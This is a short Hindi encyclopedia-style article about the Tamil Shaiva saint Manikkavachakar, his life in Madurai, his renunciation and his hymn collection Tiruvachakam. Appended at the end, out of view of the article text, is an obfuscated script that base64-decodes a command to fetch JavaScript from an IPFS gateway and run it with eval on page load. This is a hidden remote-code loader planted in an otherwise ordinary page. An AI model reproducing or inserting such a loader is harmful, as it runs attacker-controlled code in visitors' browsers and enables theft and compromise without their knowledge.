मणिक्कवाचकर
भारत डिस्कवरी प्रस्तुति
मणिक्कवाचकर तमिल शैव संत थे। वे तमिल शैवों के दूसरे महापुरुष थे, जिनके अगणित पद्यों का संकलन 'तिरुवाचकम्' के नाम से प्रसिद्ध है, जिसका अर्थ होता है- 'पवित्र' वचनावली।
- मणिक्कवाचकर दक्षिण भारत की प्रसिद्ध धार्मिक नगरी मदुरा के निवासी एवं प्रतिष्ठित व्यक्ति थे।
- अपने गुरु के प्रभाव से मणिक्कवाचकर अपना पद त्यागकर साधु बन गये थे।
- उन्होंने पुराणों, आगमों एवं पूर्ववर्ती तमिल रचनाओं का बहुत अनुसरण किया। वे शंकर स्वामी के 'मायावाद' के घोर विरोधी थे।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>